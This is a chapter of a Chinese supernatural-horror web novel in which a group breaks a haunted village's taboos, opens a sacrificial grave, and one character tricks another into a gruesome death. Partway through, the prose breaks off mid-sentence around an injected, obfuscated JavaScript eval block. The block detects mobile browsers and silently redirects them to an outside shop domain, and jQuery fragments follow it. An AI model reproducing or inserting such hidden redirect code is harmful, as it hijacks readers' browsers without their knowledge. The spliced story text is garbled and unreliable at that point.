成松云推门出来时,整个人都是懵的。见她毫发无伤,山混子咦了声,倒是四爷若有所思地摸起下巴。
三人围观下,成松云结结巴巴描述了祠内情况。她一边说,一边拿眼看方休,然而方休一直保持沉默。
他做出一副冥思苦想的模样,手指悄悄玩弄白双影的袖角。
其实他确实在思考一个难题——
白双影从非牛顿流体变成人,衣服是跟着变的,怪不得手感这样奇妙。既然衣服是白双影的一部分,那它有没有触觉?
轻轻捏一捏,白双影没反应。
再捏一捏,白双影好像还是没反应。
捏到第三下的时候,白双影不动声色地伸出手,捏了下方休的耳垂。
……看来有点触觉,邪祟死物学可真神奇。方休暗暗惊叹。
“哈!”不知过了多久,四爷一敲掌心,“我知道第三条禁忌咋回事了。”
山混子:“就剩这么点人了,赶紧分享分享。”
眼下人手确实堪忧,四爷迟疑两秒,还是开了口——
“我听说搞山神祭祀,人得模仿山神打扮。”
四爷指指成松云,“她变得和神像一样,准是指代‘活祭’。活祭属于嵬山神,福老儿自然不敢动。”
山混子:“咋个说法?”
“第三条禁忌,不许伤害活祭。”四爷沉声说。
方休貌似惊讶地咳了声,眨眨眼睛。
“姓方的说,消极工作的‘客人’会被选为活祭。那女的不清楚,大夫看守看得稀烂,这一位刚摔了咱的吃食,个个废得要死。”
四爷继续道。
“再说那女的被一剑穿心,大夫吊死。要是他们犯忌,死法该一样。事实上,只有杀女的那人死法邪门,变成了肉酱——是他伤害活祭,犯了忌。”
“……对得上,全对得上!肯定是活祭的怨念催生了‘厄’!”
四爷说着激动起来,唾沫星子溅出老远:“他妈的,可算让我抓到因果了。”
方休小声:“明明有保护村民的禁忌……”
“保护?”
四爷斜眼瞧他,“村民日常吃喝,得抢嵬山神供品。‘厄’禁了偷抢争斗,没法搞别人的,想吃饭必须渎神。”
“多狠呐。也就是这帮邪祟不吃人饭,把咱思路全带歪了。”
山混子嘻嘻笑:“按这说法,西边坟地挨嵬山最近,阴气又重,正适合活祭。要是朝西走到头,鬼打墙没覆盖坟地……”
“那就证明‘厄’在坟地。”四爷一摆手,“走,我知道怎么解鬼打墙。”
“了不得。”
山混子呲起牙,两只小眼睛精光闪烁。
“不过成妹子暴露身形,当着福老儿的面跳了难关。咱们再破了鬼打墙,福老儿准知道咱有发现。”
“到时它会不管不顾追杀咱们,开弓没有回头箭呐。”
“为什么,它们不是得模仿村民吗?”快乐围观的方休终于开口。
山混子似笑非笑地瞥他:“不能免费告诉你。”
方休:“……”
可恶,回旋镖打人还挺疼。
不过没关系,山混子很快就会自愿告诉他。
……
众人一路到达西侧边缘,居然没碰到任何邪祟。鬼打墙尽头只有虚无的黑暗,不见祠堂不见鬼摊,也不见坟地。
成松云不习惯多出来的肢体,走得气喘吁吁:“西、西边不该最危险吗?”
方休一脸严肃地凑近,成松云打了个激灵,竖起耳朵。
方休:“成姐你不怎么玩游戏吧。”
方休:“一般没有小怪的特殊地图,大家都叫它‘BOSS房’。”
成松云:“……”
这么久没交流,你就想说这个?
她畏惧地望向那片黑暗。山混子说得对,一旦他们破了鬼打墙,福老儿绝不会坐视不管。
方休的活祭猜想是谎言,四爷在此基础上的推测,肯定也是错的。
……就这么直接行动,真的没问题吗?
“你走前头。”四爷推搡成松云,“剩下的人抓着她的衣服跟上。”
方休伸出唯一完好的手臂,乖顺照做。
成松云悄悄叹气,牙一咬心一横,踏入了那片黑暗。
果然,鬼打墙没为难“尊贵的活祭”。没走几步路,众人眼前豁然开朗。
他们面前无疑是嵬山村坟地。
阴雨连绵,坟地显得尤为阴森。墓碑密密麻麻挤在一起,其间满是野草与泥泞。不远处的嵬山在雨幕中若隐若现,压迫感让人窒息。
众人踩上坟地的那一刻,村庄上空响起一声凄厉而愤怒的尖啸。
方休听得出,那是福老儿的声音。
“被发现了,快快快!”
四爷拽着他们穿过重重墓碑,直冲坟地最西侧。
这里离嵬山最近,挤着一众拱形石碑。石碑有新有旧,碑上一片空白。
它们混在村民五花八门的墓碑里,实在谈不上显眼。方休上次逛坟地时,也是很仔细才注意到。
“我之前看过。只有这里的死人没名字,肯定埋的是‘客人’。”
四爷指指其中十座墓碑,“……这些个埋的是活祭。”
比起其他无名碑,这十座墓碑明显高一头,做工更精细。
“活祭属于神,村民不会乱动他们的物品,‘厄’绝对在棺材里。”四爷快速解释,猛推成松云,“从石碑最新那个开挖,快!”
第三条禁忌不允许伤害活祭,不会有新的活祭下葬。
一切水到渠成,完美符合他的推论,四爷表情逐渐红润。
嵬山村上空的鬼啸还在继续,成松云手足无措。都这种时候了,继续瞎搞真的没问题?
“快挖吧成姐。时间不多了,听指挥比较好。”这一回,方休直视成松云的双眼。
成松云深吸一口气,双手挖向泥土。
坟地里阴气汹涌,幽魂疯了一样朝他们扑来。更远处,高大的鬼影越聚越多。
四爷抬起护臂,弹飞袭来的游魂。山混子攥起拳头,念念有词,几只无头大鬼从泥地钻出,护在众人另一侧。
方休……方休正倚靠着白双影,两人一起看成松云挖土。
成松云:“……”
白双影:“……”
方休跟白双影咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678500|142489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳朵:“你看,有时候带点伤是好事。”
成松云只靠手挖,动作算不得快。山混子从怀里掏出张黄纸,吹了口气,纸张化作两把洛阳铲。
“你俩一起用这个!”他把铲子掷向成松云和方休。
方休没接。
他面色青白语气虚弱,一副下一秒就要葬花的模样:“对、对不起。我肩膀脱臼,疼得用不上力……”
山混子:“……”
白双影:“……”
方休又跟白双影咬耳朵:“你看,这个看戏位置是不是特别好?”
白双影抿起嘴唇。和方休在一起时,他时常有种良心要痛的错觉。幸亏他没有良心,方休显然也没有。
如此这般,原本静谧的墓地逐渐热闹。
凄厉的唢呐声极速接近,血染的纸钱纷纷洒洒。周遭邪祟前赴后继,尽显爬行本色,像是把“模仿村民”这事儿抛到了九霄云外。
冲上来的邪祟越发强悍,四爷的护臂弹不动了,只能用桃木剑蛮力劈砍。山混子的无头鬼被群鬼撕成碎片,他不停召唤新的,召出来的数量越发稀少。
涌来的邪祟却只增不减。两位额头见汗、且战且退,身后的安全区愈发狭窄。
方休遥遥看到了福老儿的唢呐队——它们自四面八方而来,将整个坟地包了饺子。福老儿的带领下,它们正迅速收拢包围圈。
时间差不多了。
方休支起眼皮,走到成松云身边。
洛阳铲在手,成松云挖得快了许多。棺材埋得不深,很快露出盖子。
坟里正是他们见过的陶制棺桶,只是个头要大不少。情况危急,成松云无暇细想,果断撬开棺盖。
棺内蜷着一具尸骨。
尸体呈坐姿,双腿并拢在胸口,早已化作白骨。
白骨周围堆满枯枝干花、皱缩果实。除此之外,还有诸如铅笔、书本等零碎杂物。其中没什么特殊法器,看起来就像一个再平常不过的坟墓。
见坟墓顺利打开,里面毫无异象。四爷果断把山混子丢在前线,自己冲到棺桶边。
他急火火地挤开成松云,伸手就往棺里掏。
接下来,一切发生在同一个瞬间——
山混子扭头看四爷,四爷一把抓住那个头骨。
方休早有准备地探出身体,右手伸向四爷。
成松云失去平衡,倒向地面。
……咚的一声闷响,成松云坐在地上。
下个瞬间,她被四散的碎肉溅了一脸。它们温温热热,散发出新鲜的肉腥气。
山混子瞪大眼睛,方休翘起嘴角——四爷那串绑了五个玉佛的挂坠,正被方休稳稳攥在手中。
四爷消失了,只留下满地肉酱和法器碎片。
时间仿佛静止,雨水轻轻打在碎肉上。
“之前说了,他们想用我试禁忌,那我也拿他们试禁忌。”
方休戴好玉佛,朝白双影笑了笑,“终于让我试完啦。”
“第一禁,村内食水不可入口,祭品除外。”
“第二禁,不得伤害此地村民,自卫除外。”
“……第三禁,不许冒犯嵬山山神,山神除外。”